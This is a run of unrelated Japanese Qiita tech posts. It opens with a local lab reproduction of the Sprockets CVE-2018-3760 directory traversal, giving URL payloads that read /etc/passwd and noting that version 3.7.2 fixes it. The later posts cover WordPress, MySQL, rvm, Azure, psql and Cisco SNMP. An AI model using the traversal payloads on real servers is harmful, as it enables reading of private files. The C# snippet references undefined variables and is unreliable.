OmniAICreator/Qiita-1.07M huggingface dataset:
CVE-2018-3760を再現確認してみた

[Breaking Parser Logic!](https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf)というblack hat usa 2018のpdfを眺めていたら、railsという文字が見えたので、そこだけ再現確認してみました

実際には、sprocketsの脆弱性らしい

* [Sprockets における情報漏えいに関する脆弱性](https://jvndb.jvn.jp/ja/contents/2018/JVNDB-2018-006825.html)

なお、先のpdfは、railsがメインではないです
サーバー毎にチェックが違っていて、reverse proxyの時に迂回していく話とか、読んでいてためになるので、おすすめです。

# 環境構築

```dockerfile
FROM ruby:alpine
  
WORKDIR /myapp
COPY Gemfile .

RUN apk upgrade --no-cache && \
    apk add --update --no-cache \
      postgresql-client \
      nodejs \
      tzdata \
      vim \
      ngrep

RUN apk add --update --no-cache --virtual=build-dependencies \
      build-base \
      curl-dev \
      linux-headers \
      libxml2-dev \
      libxslt-dev \
      postgresql-dev \
      sqlite-dev \
      ruby-dev \
      yaml-dev \
      zlib-dev

RUN gem install bundler && \
    bundle update -j4
```

```Gemfile
source "https://rubygems.org/"
  
gem "pry"

gem "rails"
gem "sqlite3"
gem "puma"

group :development do
  gem "brakeman"
end
```

image作成から、コンテナ起動

```sh
docker build --no-cache --rm --tag rails .
docker images
docker run -it -p 3000:3000 imageのID /bin/sh
```


```sh
bundle exec rails new blog && cd blog
echo "gem 'sprockets', '3.7.1'" >> Gemfile 
bundle update
bundle exec rails server
```

途中でめんどくさくなったので、Dockerfileをはじめ、色々と手抜きで変ですが、動作確認に影響はないため、今回はスルーします。

* 動作確認
![スクリーンショット 2018-10-24 13.21.44.png](https://qiita-image-store.s3.amazonaws.com/0/23194/2a0b3554-004b-bd4d-eee1-b386015ee052.png)

# 検証

以下にアクセスして、アプリのパスを確認する

```
http://127.0.0.1:3000/assets/file:%2f%2f/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
```

![スクリーンショット 2018-10-24 13.21.33.png](https://qiita-image-store.s3.amazonaws.com/0/23194/0287f18c-ae08-1751-880f-2c1d2b3e85c3.png)

あとは、最初のURLの間に、アプリの場所を指定してアクセスする

```
http://127.0.0.1:3000/assets/file:%2f%2f/myapp/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
```

* 「myapp/blog/app/assets/images/」がくっつけた部分

![スクリーンショット 2018-10-24 13.21.37.png](https://qiita-image-store.s3.amazonaws.com/0/23194/7512be65-76a4-1959-20e6-06f8a8e6bd18.png)

sprockets 3.7.2にして同様のことをすると、forbiddenと返される

![スクリーンショット 2018-10-24 13.25.39.png](https://qiita-image-store.s3.amazonaws.com/0/23194/39eb153d-1a1e-38b9-72a8-9d37b514a1f9.png)

なお、assets.compile=falseの環境（productionのdefault設定)だと、下記のような画面になる
(起動時に```bundle exec rails server -e production```)

![スクリーンショット 2018-10-24 13.24.09.png](https://qiita-image-store.s3.amazonaws.com/0/23194/e8742961-ac08-9212-7c8f-4b964d63d614.png)

# まとめ

* 確かにディレクトリトラバーサルが起きる
* production環境のようなassets.compile=falseでは発生しないので、一般的には影響はなさそう
* どちらにしろ、3.7.2では発生しないので、updateしておけばOK！！
WordPressで権限によって表示する内容を変える

- WordPressでログインする権限によって画面に表示される内容を変えます
- この記事はWordPress 4.9.8での動作を確認しています

#1. 権限について復習
- WordPressの権限によってできることを確認します
- [WordPress codex - ユーザーの種類と権限](https://wpdocs.osdn.jp/%E3%83%A6%E3%83%BC%E3%82%B6%E3%83%BC%E3%81%AE%E7%A8%AE%E9%A1%9E%E3%81%A8%E6%A8%A9%E9%99%90)より、
- 管理者(Administrator) - シングルサイト内のすべての管理機能にアクセスできるユーザー
- 編集者(Editor) - 他のユーザーの投稿を含むすべての投稿を発行、管理できるユーザー。できないこと：テーマの設定、プラグインの管理、ユーザーの管理など
- 投稿者(Author) - 自身の投稿を発行、管理できるユーザー。できないこと：固定ページや他のユーザーが投稿した記事の編集
- 寄稿者(Contributor) - 自身の投稿を編集、管理できるが、発行はできないユーザー
- 購読者(Subscriber) - プロファイル管理のみを実行できるユーザー。WordPressにログインしてコメントを読んだり、コメントを書き込んだりすることはできるが、記事の作成はできない

#2. 権限によって表示する内容を変える
- 適当なページを選んで下記を挿入します

```php:投稿者であれば表示される
<?php if ( current_user_can('author') ): ?>
  <p>投稿者のみこの文章を閲覧可能</p>
<?php endif; ?>
```

- 投稿者権限でログインし画面に表示されることを確認します
<img width="1169" alt="スクリーンショット 2018-10-24 14.20.57.png" src="https://qiita-image-store.s3.amazonaws.com/0/125842/41e1ccae-8513-6fc1-45c4-0b32d0ea7c4a.png">


- 購読者権限でログインし画面に表示されることを確認します

<img width="1158" alt="スクリーンショット 2018-10-24 14.21.16.png" src="https://qiita-image-store.s3.amazonaws.com/0/125842/55c97e0a-fa94-d7fe-71b3-ef496c6acb5c.png">

- 管理者、編集者、投稿者に見えるようにするには以下のような書き方になります

```php:管理者、編集者、投稿者に見える
<?php if ( current_user_can('administrator') || current_user_can('editor') || current_user_can('author') ): ?>
  <p>管理者、編集者、投稿者はこの文章を閲覧可能</p>
<?php endif; ?>
```
<img width="1060" alt="スクリーンショット 2018-10-24 14.54.51.png" src="https://qiita-image-store.s3.amazonaws.com/0/125842/c35850e8-45f3-bf6e-e282-d4165f69a517.png">
MySQLワークベンチでupdate文を実行すると1175のエラーが発生

**【事象】**

MySQLのワークベンチでUPDATE文を実行すると、以下のエラーが発生した。
Error Code: 1175. You are using safe update mode and you tried to update a table without a WHERE that uses a KEY column To disable safe mode, toggle the option in Preferences -> SQL Editor and reconnect. 0.062 sec
 
**【原因】**
大量の(主キー以外の)update/deleteをワークベンチから行えない様に制約を付けてくれているため。 
 
**【対応方法(一時的)】**
SET SQL_SAFE_UPDATES = 0;
 
(参考サイト)
http://rikutoto.blogspot.jp/2013/11/mysqlerror-code-1175.html
 
**【対応方法(恒久的)】**
ワークベンチで以下の対応をする。
1. [Edit] - [Preferences] を開く。
2. SQL Editorタブを開き、Safe Updateというチェックボックスを外す。
3. サーバーに対して再接続する。ワークベンチの再起動でもよい。
 
(参考サイト)
http://stackoverflow.com/questions/11448068/mysql-error-code-1175-during-update-in-mysql-workbench
rvmをつかってrubyをインストール、バージョン管理をする

#rvmをインストールする
公式サイト( https://rvm.io/ )にある2つのコマンドを実行する。

```
$ gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E37D2BAF1CF37B13E2069D6956105BD0E739499BDB

$ \curl -sSL https://get.rvm.io | bash -s stable
```

#rvmでRubyをインストールする

インストールできるrubyのバージョンを見る。

```
$ rvm list known
```

インストールしたいrubyを選び

```
$ rvm install (バージョン)
```

を実行するとインストールできる。

#バージョンの切り替え

```
$ rvm use (使用したいバージョン)
```
転移学習とは何か調べてみた

##転移学習とは（Transfer learning)
ある領域（ドメイン)で学習したモデルを、別の領域(ドメイン)に適合させる技術を転移学習という。
これにより、普通に学習させるよりも少ないデータ量で学習させることができる。

##具体例
2014年のILSVRCで優勝した学習済みモデルVGG16を例にして説明します。
このモデルは、ImageNetのデータセットから、コンテストのお題で出された1000クラスを識別できるようになっています。分類は大まかに区分されたり、詳細に区分されたりとまちまちです。[このサイト](http://starpentagon.net/analytics/ilsvrc2012_class_image/)でどんな分類があるかみれます。
例えば、猫の種類分類を行うシステムを作ろうと思ったとき、この学習済みモデルそのままではきちんと分類することはできません。そこで、用いるのが転移学習です。この学習済みモデルにひと手間加えることにより、猫の種類分類をすることができるようになります。さらに、一から作るよりずっと少ないデータ量で分類ができるようになります。

##アプローチ

![image.png](https://qiita-image-store.s3.amazonaws.com/0/303209/2269bedd-be0a-0a22-1869-b05809ca99e0.png)
[CS231n: Convolutional Neural Networks for Visual Recognition Lecture 7より](http://cs231n.stanford.edu/syllabus.html)

上図では、学習済みモデルの最後２層を追加学習させ、新たな猫の種類を分類させます。
追加学習させないレイヤーをフリーズさせると言います。このフリーズさせる範囲を変更することで、精度が多少変わったり、学習時間が変わったりします。

また、抽出した特徴ベクトルをSVMを用いて分類することもできます。

##ファインチューニング(Fine tuning)
転移学習を勉強しているとよく、ファインチューニングという言葉をよく目にします。
ファインチューニングとは、学習済みモデルの一部、或いはすべての重みを微調節する手法です。
転移学習では、特徴抽出器は変えずに最後の層だけを再度学習しましたが、ファインチューニングでは、学習済みモデルの重みを初期値として、再度学習させ微調節します。

＊転移学習では、入力層から中間層の最後の層までを特徴抽出器と言います。

##いつどのようにファインチューニングするか
[スタンフォード大学の講義資料](http://cs231n.github.io/transfer-learning/)に、技法の選び方のノウハウが記載されているので図にまとめます。
![image1.png](https://qiita-image-store.s3.amazonaws.com/0/303209/c3e146ef-3eb9-d3c8-017b-6ac3c5b6babd.png)
Windows 10 October Update 後に Hyper-V が起動できなくなった場合の対処法


Windows 10 に October Update を適用してバージョン 1809 にしたら Hyper-V が使えなくなった、という場合の対処法です。

こちらで紹介されている方法が本家です。

> Hyper-V Doesn't Work After Upgrade to Windows 10 1809
> https://social.technet.microsoft.com/Forums/en-US/ee5b1d6b-09e2-49f3-a52c-820aafc316f9/hyperv-doesnt-work-after-upgrade-to-windows-10-1809?forum=win10itprovirt

症状の確認
----------

次の手順を試して、最後までこのとおりに進めばここで紹介する方法で対処できると思います。

  1. スタートメニューからアプリ **サービス** を起動（「サービス」で検索すると見つかります）。
  2. リストから **Hyper-V ホスト コンピューティング サービス** を探し、状態が空欄になっているかどうか確認。
  3. 右クリックしてメニューから **開始** を選択。
  4. すぐにダイアログが開いて「ローカルコンピューター の Hyper-V ホスト コンピューティング サービス サービスを開始できません」といったエラーメッセージが表示される。

対処手順
--------

  1. スタートメニューからアプリ **Windows セキュリティ** を開く（セキュリティとかで検索すると見つけやすいです）。
  2. リストから **アプリとブラウザーの制御** を選択。
  3. リンク **Exploit protection の設定** をクリック（下のほうにあります）。
  4. タブ **プログラム設定** を選択。
  5. リストの下のほうにある `C:\WINDOWS\System32\vmcompute.exe` を選択して **編集** ボタンを押す。
  6. 下にスクロールして **制御フロー ガード（CFG）** の項目にあるチェックボックス **厳密な CFG を使用する** のチェックを外す。![tempsnip.png](https://qiita-image-store.s3.amazonaws.com/0/12952/de998c04-0f1f-4a5b-239e-6c931b9e6fbc.png)

  7. ダイアログ下の **適用** ボタンを押す。

以上です。
GoogleAnalyticsで既存記事に手を加えずにクリックを計測するJavaScript

#やりたいこと
GoogleAnalyticsでイベント計測できることは知っているが、既存記事が大量にあってクリック計測用のイベントが仕込まれていない状態のWordPressサイトがある。既存記事のリンクを書き換えるのは面倒なのでJavaScriptでリンククリックを計測できるようにする。

#GoogleAnalyticsでクリック計測されるとわかること

- どの記事でリンククリックが沢山発生しているかの把握 → 大事な記事からSEO改善できる
- どの商材が売れているかの把握 → 商材が複数ある場合、どれが売れているかの把握と売れているならば記事の補強・リライトなどに活かせる
- 目次や内部リンクなどの効果測定

#実装方法の選択肢

- GoogleTagマネージャーならaタグをいじらなくても簡単に設定できる https://mtame.jp/marketing_foundation/tagmanager
- jQuery導入サイトならクリック計測用のScriptが転がっている。

#jQueryのイベント計測用JavaScript
いろんなサンプルが転がっているけれども動かない奴も多い。下記は手元で動いているもの。test.comの所をご自分のドメインに書き換えれば最低限動くはず。分岐を増やす場合目次クリックの判定でやっているようにelse if(){}でahrefの文字列をindexOfするなどしてください。

```
<script>
  window.onload = function() {  
    jQuery("a").click(function(e) {
        var ahref = jQuery(this).attr('href');
        if (ahref.indexOf('test.com') != -1) { // hrefがtest.comだったら内部リンクとみなす
          gtag('event', 'click', {'event_category': '内部リンク','event_label': ahref});
        }  else if(ahref.indexOf('#') == 0) { // アンカー（#）の場合Table of Contents Plusなど目次やメニュー系クリック。#hogehogeだとリンク先が分かりづらいのでラベルを取得する
          gtag('event', 'click', {'event_category': '目次クリック','event_label': jQuery(this).text()});
        } else { // 内部リンクや目次クリックなどを除外した残りが外部リンク。
          gtag('event', 'click', {'event_category': '外部リンク','event_label': ahref});
        };   
    });
};
</script>
```
WordPressでBootstrapを使ってみる

WordPressでBootstrapを使います。[WordPressでBootstrapをベースにしたテーマを使う](https://qiita.com/egplnt/items/154f910923f8bd5c39b9)でBootstrapをベースにしたテーマを設定済みです。ここでは[Lightning](https://wordpress.org/themes/lightning/)を使っているサンプルですがBootstrapベースであればなんでも結構です。
- この記事はWordPress 4.9.8での動作を確認しています

#1. CSSを追加する
- WordPressサイトの`/public/wp-content/themes/選択したテーマ/`に`style.css`があるのでは、と思います
<img width="937" alt="スクリーンショット 2018-10-24 13.35.39.png" src="https://qiita-image-store.s3.amazonaws.com/0/125842/910e28a5-b571-5f7d-2d90-dd3cf84244bf.png">


- このcssをatomなどのエディタで開いて下記を追加します

```css:追加するcss
.a1 {
  background-color:  #98d98e;
  height: 80px;
  text-align:center;
  font-size: 18pt;
  padding: 20px;
}
.b1 {
  background-color:  #e4de8a;
  height: 150px;
  text-align:left;
  font-size: 18pt;
  padding: 20px;
}
.b2 {
  background-color:  #cee4ae;
  height: 150px;
  text-align:left;
  font-size: 18pt;
  padding: 20px;
}

```

- 同じフォルダにある`frontpage.php`を同様にatomなどのエディタで開き下記を追加します

```php:frontpage.phpへの追加部分
<?php get_header(); ?>
<?php get_template_part( 'module_slide' ); ?>
<div class="section siteContent">
  <div class="container"> <!-- [ここまではテーマのオリジナルの部分] --> 

    <!-- [ 下記を追加します ] -->
    <div class="row">
      <div class="col-sm-24 col-md-12">
        <div class="a1">
          <h1>おすすめ商品のご紹介</h1>
        </div>
      </div>
    </div>
    <hr />
    <div class="row">
      <div class="col-sm-12 col-md-6">
        <div class="b1">
          <p>左半分の内容を書く<br>col-md-6, b1</p>
        </div>
      </div>
      <div class="col-sm-12 col-md-6">
        <div class="b2">
          <p>右半分の内容を書く<br>col-md-6, b2</p>
        </div>
      </div>
    </div>
    <hr />
    <!-- [ 追加部分終わり ] -->

  <div class="row"> <!-- [ここから後はテーマのオリジナルの部分] --> 
<?php if ( lightning_is_frontpage_onecolumn() ) {
```

#3. サイト画面を表示しBootstrapが適用されていることを確認します
- うまくいっていれば下記のような画面が表示されるはずです

<img width="1076" alt="スクリーンショット 2018-10-24 13.54.29.png" src="https://qiita-image-store.s3.amazonaws.com/0/125842/e086efe9-5353-879c-dd50-2e3ff72ea3a6.png">

- Bootstrapの使い方はいろいろなサイトで紹介されているので検索してみてください
Predict the Result of AKB48 Groups Election using SHOWROOM data by Machine Learning? (under writing)

**一生懸命英語で記事を書いたんですが、Qiitaさんが投稿させてくれないので途中で放置します。**



~~ここは僕の下手くそな英語で書かれてます。
ただの駄文なので気にしないでください。
結論を書くと、僕の能力不足と知識不足とデータ不足です。
英語は小学生レベルなので察してください。~~


**If you do not know AKB48 and AKB48 election, this page is for you.**
**This page is written in my terrible English even living in USA.**


#Introduction
I like Japanese Idol. Especially, AKB48 groups are the best. My favorite groups are STU48 and NGT48.
I want to predict next AKB's election (11th) using disclosed [SHOWROOM](https://www.showroom-live.com/) data using machine learning( kind of AI ) technique.
This page is my record of process making the prediction model. The accuracy of prediction will be appard next year(2019)! 
I am not a data scientist and quiet beginner of Machine Learning and Programing.

##What is SHOWROOM?
I can not find any description page about SHOWROOM in English, but, simply, SHOWROOM is one of the online streaming service like Twitch and Twicas. Almost all member of AKB48 group members have a account for streaming and many members are streaming every day at their home.

##Why SHOWROOM?
I like SHOWROOM. You can check the SHOWROOM from all over the world. This service is not restricted in Japan. Some recorded movie is on Youtube illegally.
It could be easy to find out you that there are many datas to evaluate how the idol's famous. For example, Follower number of Twitter and Instagram, How often showed in TV, and so on.

1.Twitter and Instagram
Follower number of Twitter is very good data for prediction and "some" group member has twitter and instagram accounts. Unfortunately, STU48, the sister group of AKB, members do not have twitter and instagram individual account. So, I can not predict any STU48 member if I use twitter or Instagram.

2.TV
This is very difficult to get data. I am not professional TV analyst.
Azure ポータルへのアクセスに必要な URL 一覧

#概要
　企業内ネットワークではインターネットへのアクセスをプロキシサーバーで許可されたサイトにのみ制限している場合があります。[Microsoft Azure](https://azure.microsoft.com/) のようなクラウドサービスを利用する場合、この制限を緩和させポータルへのアクセスが出来るよう社内 IT 部門との調整が必要となる場合があります。

　本記事では、そのようなケースでの助けとなる [Azure ポータル](https://portal.azure.com)へのアクセスに必要な URL 一覧を掲載しています。これらをプロキシサーバーの http および https 通信のホワイトリストとして登録することで社内ネットワークから Azure ポータルへのアクセスが可能となります。

#URL (FQDN) 一覧
　※ 以下の URL (FQDN) 一覧は、Microsoft 社が正式に公開しているものではなく検証結果に基づく情報となる点をご留意ください。

```:HTTP/HTTPS
*.azure.com
*.azure-api.net
*.azure.net
*.azureedge.net
*.microsoft.com
*.microsoftonline.com
*.microsoftonline-p.com
*.msauth.net
*.msftauth.net
*.windows.net
*.windowsazure.com
```

##補足１
　企業内利用の観点から上記は [Azure AD 組織アカウント](http://cloud.ebisuda.com/%E5%80%8B%E4%BA%BA%E3%82%A2%E3%82%AB%E3%82%A6%E3%83%B3%E3%83%88%E3%81%A8%E7%B5%84%E7%B9%94%E3%82%A2%E3%82%AB%E3%82%A6%E3%83%B3%E3%83%88/)で Azure ポータルへログインする場合を前提としています。コンシューマー向けの @hotmail.com, @live.com, @outlook.com といった[マイクロソフトアカウント]((http://cloud.ebisuda.com/%E5%80%8B%E4%BA%BA%E3%82%A2%E3%82%AB%E3%82%A6%E3%83%B3%E3%83%88%E3%81%A8%E7%B5%84%E7%B9%94%E3%82%A2%E3%82%AB%E3%82%A6%E3%83%B3%E3%83%88/))で Azure ポータルへログインする場合には、認証用サイトとして下記 URL (FQDN) への https アクセスを追加で許可する必要があります。

``````:HTTPS
*.live.com
```
##補足２
　Azure ポータルからデプロイしたサービスの一部には、サービスその物が提供する専用の URL (FQDN) を持つ物があります。ここでは幾つかの参考例を記載していますが、これらは標準の Azure ポータルサイトの FQDN とは独立したドメインとなります。制限された社内ネットワークから直接これらサービスを利用する場合には、独自ドメインへの追加許可が必要となります。

``````:一例
<instance-name>.trafficmanager.net (Traffic Manager)
<instance-name>.azuredatalakestore.net (DataLake Store)
<instance-name>.azuredatalakeanalytics.net (DataLake Analytics)
```

##補足３
　補足２と同様に Microsoft Azure は非常に広範囲で多岐にわたるクラウドサービスを提供しているため、[Azure ML Studio](https://azure.microsoft.com/ja-jp/services/machine-learning-studio/) や [Cognitive Service](https://azure.microsoft.com/ja-jp/services/cognitive-services/) など一部のサービスでは、標準の Azure ポータルとは別に独立したサービス専用のポータルサイトを持っています。

``````:一例
*.cris.ai (Custom Speech Portal)
*.azureml.net (Azure ML Studio)
```

#URL (FQDN) の調査方法

　補足２、補足３にあるようなサービス固有の URL (FQDN) の確認には WEBブラウザのデバッグ機能や Fiddler ツールによる解析が役に立ちます。基本的な考え方としては、制限されて**いない**ネットワーク環境で実際に利用するサービスにアクセスして、必要となる URL (FQDN) を確認していきます。

Web開発でよく使う、特に使えるChromeデベロッパー・ツールの機能
https://www.buildinsider.net/web/chromedevtools/01

　以下は Chrome ブラウザで Azure ポータルへアクセスした際の [Network] トレース情報となります。列項目に [Domain] 列を追加し昇順もしくは降順にソートする事で FQDN 確認の可視性が高まります。
![image.png](https://qiita-image-store.s3.amazonaws.com/0/166732/a8fe7545-fa81-e7ca-ee34-02a6da380588.png)

Fiddler トレース収集ツール・収集方法について
https://blogs.msdn.microsoft.com/dsazurejp/2014/10/31/fiddler/

#最後に
　本記事で掲載している URL (FQDN) 一覧は検証に基づく情報となります。Azure ポータルの仕様変更などがあった場合、将来にわたり永続的に動作保証するものではありません。また全ての操作をテストしたわけでないため場合によっては更に必要な URL (FQDN) が追加で発生する可能性がある点もご留意ください。本記事の調査にあたっては下記 blog 記事を参考としています。

ネットワーク制限がかかった環境から Azure 上のリソースを管理する場合のベスト プラクティス
https://blogs.technet.microsoft.com/jpaztech/2017/10/11/access_portal_behind_proxy/
【C#】文字列がアルファベットのみか、数値のみか判定する

#
文字列解析で、文字列が数値とアルファベットのみか判定することがあったので、判定メソッドを作りました。
数字はint.TryParseで使えば簡単にbool値を取得して判定できますが、
C#7以前だとoutパラメータで変数の宣言ができず記述が冗長になるので簡単ですがこんな感じにしました。

コメントでごchar.IsDigitメソッドがあること、またLINQもAllで判定した方が簡潔で良いとご指摘頂きました、ありがとうございます！

#1.文字列が数値か判定
```csharp
        static void Main(string[] args) {
            // true
            var str1 = "12312";
            var f1 =  src1.All(char.IsDigit);
            // false
            var str2 = "12a12";
            var f2 =  src2.All(char.IsDigit);
        }
```

#2.文字列がアルファベットか判定
```csharp
        static void Main(string[] args) {
            // true
            var str1 = "abcDeZ";
            var f1 = src1.All(IsAlphabet);
            // false
            var str2 = "abcD3Z";
            var f2 = src2.All(IsAlphabet);
        }

        public static bool IsAlphabet(char c) {
            return (c >= 'A' && c <= 'z') ? true : false;
        }
```

#まとめ
バグなどあればご指摘いただけると幸いです。
WordPressでBootstrapをベースにしたテーマを使う

WordPressでBootstrapをベースにしたテーマを使えるようにします。
この記事はWordPress 4.9.8での稼働を確認しています。

#1. BootStrapをベースにしたテーマを探す
- ネットで広く検索するのも一策ですが、品質に懸念があったり・インストールに手間がかかったりするので、wordpress.orgに登録されているものから探すと便利です
- [https://wordpress.org/themes/](https://wordpress.org/themes/)へアクセスし、「bootstrap」を検索します

<img width="1280" alt="スクリーンショット 2018-10-24 11.35.22.png" src="https://qiita-image-store.s3.amazonaws.com/0/125842/b2244874-9cd9-2a67-c37a-811aeca7a863.png">

- いろいろ楽しそうなテーマが表示されるので気に入ったものを選んでダウンロードします
- なんとなく世間的に有名なものとしては
- [Lightning](https://wordpress.org/themes/lightning/)
- [Dazzling](https://wordpress.org/themes/dazzling/)
- [Llorix One Lite](https://wordpress.org/themes/llorix-one-lite/)
- [ultrabootstrap](https://wordpress.org/themes/ultrabootstrap/)
- [Habakiri](https://wordpress.org/themes/habakiri/)
- などなど。

#2. テーマを使用可能にします
- ダウンロードしたzipファイルを解凍し、WordPressの/app/public/wp-content/theme下に置きます
<img width="578" alt="スクリーンショット 2018-10-24 11.58.59.png" src="https://qiita-image-store.s3.amazonaws.com/0/125842/16a353a2-68d3-7013-fd04-33da34f2397b.png">
- WordPressの管理コンソール（ダッシュボード）で対象のテーマの「有効化」を押して設定（選択）します

<img width="1280" alt="スクリーンショット 2018-10-24 13.13.52.png" src="https://qiita-image-store.s3.amazonaws.com/0/125842/da15bd5d-6f6e-2df7-f601-3fed57d51ba0.png">
-サイト画面を表示してテーマが適用（有効化）されていることを確認します
psqlコマンドラインでよく使うパターン

WEB開発する時にクエリの検証とかでよく使うpsqlコマンドラインでのオプションやテクニックに関してまとめておく。
因みに、使えるオプションは`\?`で表示できるよ。
多分、臨時更新していく。

## クエリの実行と結果出力
クエリはコンソールで直に打ってもいいけど、長いクエリだとかなりめんどい。
出力に関しても、コンソールに直接表示でもいいけど、GitHubに貼ったりFTPしてローカルで確認したいとか結構あると思う。
そんな時に、ファイルに書いたSQLを読み込んで結果を任意のファイルに出力するやり方。

- クエリ実行前に`\o`オプションでファイルの出力先の指定
- `\i`オプションでファイルの読み込み

```console
psql=# \o cmmodq_e_r.txt
psql=# \i cmmodq_e.sql
psql=# \o cmorgq_e_r.txt
psql=# \i cmorgq_e.sql
psql=# \q
[ec2-user]$ ll
-rw-rw-r-- 1 ec2-user ec2-user     3748 10月 24 02:47 cmmodq_e.sql
-rw-rw-r-- 1 ec2-user ec2-user    23806 10月 24 02:49 cmmodq_e_r.txt
-rw-rw-r-- 1 ec2-user ec2-user     6881 10月 24 02:47 cmorgq_e.sql
-rw-rw-r-- 1 ec2-user ec2-user   104998 10月 24 03:00 cmorgq_e_r.txt
[ec2-user]$ 
```

出力をコンソールに戻す場合は、もう一度、引数なしで`\o`を実行する。

```console
psql=# \o
```

## クエリの実行速度の計測
そのままクエリを実行しても実行時間は表示されないので、実行速度を表示するやり方。

- クエリ実行前に`\timing`オプションでファイルの出力先の指定

```console
psql=# \timing
タイミングは on です。
psql=# \i cmmodq.sql
時間: 28.223 ms
 id| name | age
---+------+----
1  |  hoge1 |  10
2  |  hoge2 |  20
3  |  hoge3 |  30
(3 行)
時間: 913.403 ms
```

時間を非表示に戻す場合は、もう一度、`\timing`を実行する。

```console
psql=# \timing
タイミングは off です
```

## 結果を見易くする
カラムが大量にあって結果が見にくくなることもまあまあある。
そんな時は拡張機能を使って整形すると便利。

```console
psql=# \x
拡張表示は on です。
psql=# \i sample.sql
SET
-[ RECORD 1 ]-+----------------------------------------------------------------------------------------------------------------
column1  | 44
column2  | 4
column3  | 158
column4  | 0
column5  | 2018-09-01
column6  | 1952423900
column7  | 739733925
column8  | 40268541802
column9  | 286883339163
column10 | Hoge1
```

拡張機能を戻す場合は、もう一度、`\x`を実行する。

```console
psql=# \x
拡張表示は off です。
```

## バックアップ
PostgreSQLでレコードのバックアップをとる時は、`pg_dump`というコマンドを使うのが簡単。
因みに、レコードを外部ファイルとかに吐き出すことをdumpと言う。

### ファイルに出力
ファイルに出力するのが殆どだと思うので、基本的にはこのコマンドを使えば問題ない。

```
pg_dump -h <ホスト名> -p <ポート番号> -U <ユーザー名> -f <バックアップファイル名> <データベース名>
```

圧縮して出力したい時はこのようにする。

```
pg_dump -h <ホスト名> -p <ポート番号> -U <ユーザー名> <データベース名> | gzip -c <バックアップファイル名>
```

解凍したい時は`-d`オプションをつける。 

```
gzip -d <バックアップファイル名>
```

### トラブルシューティング
コマンドを実行するとこんなエラーが出て来ることがあるかもしれない。

```
$ pg_dump -U admin -h pg -f /tmp/sample.sql pg
パスワード: 
pg_dump: サーババージョン: 9.6.6、pg_dump バージョン: 9.2.24
pg_dump: サーババージョンの不整合のため処理を中断しています
```

これはPostgreSQLと`pg_dump`コマンドのバージョンが合わな際に出力されるエラーである。
サーバーバージョンに合わせたコマンドで実行すれば解決される。
下記のコマンドでインストールされてるpg_dumpコマンドのバージョンを調べる。

```
$ find / -name pg_dump -type f 2>/dev/null
/usr/lib64/pgsql96/bin/pg_dump
/usr/lib64/pgsql92/bin/pg_dump
```

今回の場合は、サーババージョンが`9.6.6`なので、そのバージョンと同じ`/usr/lib64/pgsql96/bin/pg_dump`を使うようにする。
シンボリックリンクを張るのもいいと思う。

```
/usr/lib64/pgsql96/bin/pg_dump -U admin -h pg -f /tmp/sample.sql pg
```
[Cisco] IOS 12.3 SNMPで取得できるifSpeed/ifHighSpeedが小さすぎる。9kbpsとか

# 前段

[ZABBIX](https://www.zabbix.com/)でCiscoルータを監視したかったんです。

ZABBIXには[低レベルディスカバリ](https://www.zabbix.com/documentation/current/manual/discovery/low_level_discovery/snmp_oids)という便利機能があり、テンプレートを割り当てるだけでネットワークインターフェースを探し出してトリガとグラフが使えるようになります。

トリガのひとつとして、帯域90%超えを報告してくれるものがあります。

このとき、帯域をSNMPの`IF-MIB::ifHighSpeed` OIDから取得しています。

この値が小さすぎるのです。

# 実機での様子

`IF-MIB::ifHighSpeed`だと値が0になるので、`IF-MIB::ifSpeed`を取得してみます。

```shell-session
$ snmpwalk -c public -v 2c mycisco IF-MIB::ifSpeed
IF-MIB::ifSpeed.1 = Gauge32: 100000000
IF-MIB::ifSpeed.2 = Gauge32: 100000000
IF-MIB::ifSpeed.3 = Gauge32: 16000
IF-MIB::ifSpeed.4 = Gauge32: 64000
IF-MIB::ifSpeed.5 = Gauge32: 64000
IF-MIB::ifSpeed.6 = Gauge32: 100000000
IF-MIB::ifSpeed.7 = Gauge32: 100000000
IF-MIB::ifSpeed.8 = Gauge32: 100000000
IF-MIB::ifSpeed.9 = Gauge32: 100000000
IF-MIB::ifSpeed.10 = Gauge32: 100000000
IF-MIB::ifSpeed.11 = Gauge32: 100000000
IF-MIB::ifSpeed.12 = Gauge32: 100000000
IF-MIB::ifSpeed.13 = Gauge32: 100000000
IF-MIB::ifSpeed.14 = Gauge32: 4294967295
IF-MIB::ifSpeed.15 = Gauge32: 100000000
IF-MIB::ifSpeed.16 = Gauge32: 9000
IF-MIB::ifSpeed.17 = Gauge32: 56000
IF-MIB::ifSpeed.18 = Gauge32: 100000000
IF-MIB::ifSpeed.19 = Gauge32: 100000000
IF-MIB::ifSpeed.20 = Gauge32: 56000
IF-MIB::ifSpeed.21 = Gauge32: 144000
IF-MIB::ifSpeed.22 = Gauge32: 16000
IF-MIB::ifSpeed.23 = Gauge32: 64000
IF-MIB::ifSpeed.24 = Gauge32: 64000
IF-MIB::ifSpeed.25 = Gauge32: 100000000
IF-MIB::ifSpeed.26 = Gauge32: 56000
```

それぞれネットワークインターフェースが何かというと、こんなんです。

```shell-session
$ snmpwalk -c public -v 2c mycisco IF-MIB::ifDescr
IF-MIB::ifDescr.1 = STRING: FastEthernet0
IF-MIB::ifDescr.2 = STRING: FastEthernet1
IF-MIB::ifDescr.3 = STRING: BRI0
IF-MIB::ifDescr.4 = STRING: BRI0:1
IF-MIB::ifDescr.5 = STRING: BRI0:2
IF-MIB::ifDescr.6 = STRING: FastEthernet2
IF-MIB::ifDescr.7 = STRING: FastEthernet3
IF-MIB::ifDescr.8 = STRING: FastEthernet4
IF-MIB::ifDescr.9 = STRING: FastEthernet5
IF-MIB::ifDescr.10 = STRING: FastEthernet6
IF-MIB::ifDescr.11 = STRING: FastEthernet7
IF-MIB::ifDescr.12 = STRING: FastEthernet8
IF-MIB::ifDescr.13 = STRING: FastEthernet9
IF-MIB::ifDescr.14 = STRING: Null0
IF-MIB::ifDescr.15 = STRING: Vlan1
IF-MIB::ifDescr.16 = STRING: Tunnel25
IF-MIB::ifDescr.17 = STRING: Dialer1
IF-MIB::ifDescr.18 = STRING: Vlan128
IF-MIB::ifDescr.19 = STRING: Vlan240
